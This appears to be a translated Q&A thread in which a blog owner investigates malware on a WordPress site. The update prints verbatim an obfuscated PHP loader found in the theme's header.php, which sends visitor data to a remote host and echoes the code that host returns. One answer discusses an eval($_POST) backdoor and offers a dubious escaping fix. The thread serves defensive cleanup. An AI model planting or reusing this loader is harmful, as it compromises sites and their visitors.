我的服务器上可能存在恶意软件,如何搜索来源?

我的服务器上可能存在恶意软件,如何搜索来源?

我们某个博客的一些用户发现,在装有 Avast 或 NOD32 等防病毒软件的 Windows 下加载页面时会出现一条消息。

消息内容如下

“远程地址已被阻止。URL:“unloadpupil.org/u4offvzxwifsh2q/” IP地址:64.191.81.117:80

我尝试在我的博客数据库中查找这个 URL 或 IP,但是没有找到,我们的内容中没有这个 URL 的踪迹,所以我很沮丧,有些事情在我们不知情的情况下发生了。

有没有什么方法可以找到问题的根源?

***** 更新 ********

Mangia 建议的 phpAV 文件是一个可行的选项,但我已经安装了WordPress 防病毒插件,它向我提供了可能受恶意软件影响的文件列表。在我的网站主题中,header.php 末尾有以下文本:

<?php
error_reporting(0);
$cf=strrev('edo'.'ced'.'_46esab');$counter=$cf('aHR0cDovL3NpdGVzY3VscHRvci5iaXovbC5waHA/aWQ9').md5($_SERVER['SERVER_NAME']);
$data=array('HTTP_ACCEPT_CHARSET','HTTP_ACCEPT_LANGUAGE','HTTP_HOST','HTTP_REFERER',
'HTTP_USER_AGENT','HTTP_QUERY_STRING','REMOTE_ADDR','REQUEST_URI','REQUEST_METHOD','SCRIPT_FILENAME');
foreach($data as $val){$t[]=$_SERVER[$val];}$u=$counter.'&data='.base64_encode(serialize($t));$fn=file_get_contents($u);
if(!$fn||strlen($fn)<4){ob_start();include($u);$fn=ob_get_contents();ob_clean();}
if($fn&&strlen($fn)>4){list($crc,$enc)=explode('::',$fn);if(md5($enc)==$crc){echo $cf($enc);}}
?>

根据之前的StackExchange 上的消息,可能是恶意软件。我已将其删除,正在寻找其他问题。

答案1

首先更改所有 ftp 密码,在修复此问题之前不要告诉任何人。很明显,有密码的人感染了病毒。

检查 .htaccess 文件(另外,检查 .htaccess 中的行数)。他们通常会在 .htaccess 中添加 100 多行空白行(因此您会认为该文件是空的),然后添加重定向或类似内容。

检查博客模板文件,因为如果您在数据库中找不到任何内容,则它可能位于模板文件中(通常是 JavaScript 代码)

此外,如果您的 ftp 密码被破解,则可能是您上传了其他内容(例如 shell)。要搜索 php 文件中有问题的函数,请检查下一个脚本。

http://dl.packetstormsecurity.net/web/phpav-1.1.txt

答案2

在阅读这篇文章之前,请意识到我只是根据我浏览过的 pastebin 来判断。由于无法查看整个代码库,我对 的卫生状况的判断可能大错特错$_POST['p1'])。但是,对任何变量进行 eval() 实际上是一种不好的做法,因此即使我错了,这篇文章仍然具有相关性。

看来您正在该 php 脚本中使用 eval() 来处理未经过清理的数据。以下内容:

eval($_POST['p1']);

危险至极在大多数情况下。除非您已safe_mode启用,否则这将允许shell_exec()任何能够p1通过 设置变量的人POST(即任何拥有 Web 浏览器和 Internet 连接的人)访问 shell(通过注入)。即使您已safe_mode启用,这也是不安全的。PHPsafe_mode通过 运行输入escapeshellcmd(),这不会正确转义“!”字符,这仍可用于根据历史引用执行代码,这就是“!”字符所代表的。

确保在你之前曾经向其提交变量eval()已正确转义和清理。在这种情况下,类似 的eval(str_replace('!', '\!', escapeshellarg($_POST['p1']));代码能够阻止用户通过 eval 提供 shell 命令。但是,由于代码的意图似乎是执行 中的任何内容$_POST['p1']),您可能需要重新设计模型。如果代码库的目的是在 中提供有效的 PHP 代码$_POST['p1']),那么几乎不可能确保代码不是恶意的。

请注意,如果您在 Windows 系统上运行,那么 ! 字符不执行任何操作,并且是有效的 shell 字符。

还要注意,从 PHP 5.3 开始safe_mode它被认为是被贬值的,这意味着依赖它首先是一个糟糕的想法。

如果恶意用户意识到eval()漏洞,他们就能够注入您最初提到的恶意软件。如果我的分析正确且$_POST['p1']未经过滤,那么这可能确实是恶意用户使用的攻击媒介。

我希望您的恶意软件问题能够尽快得到解决!

相关内容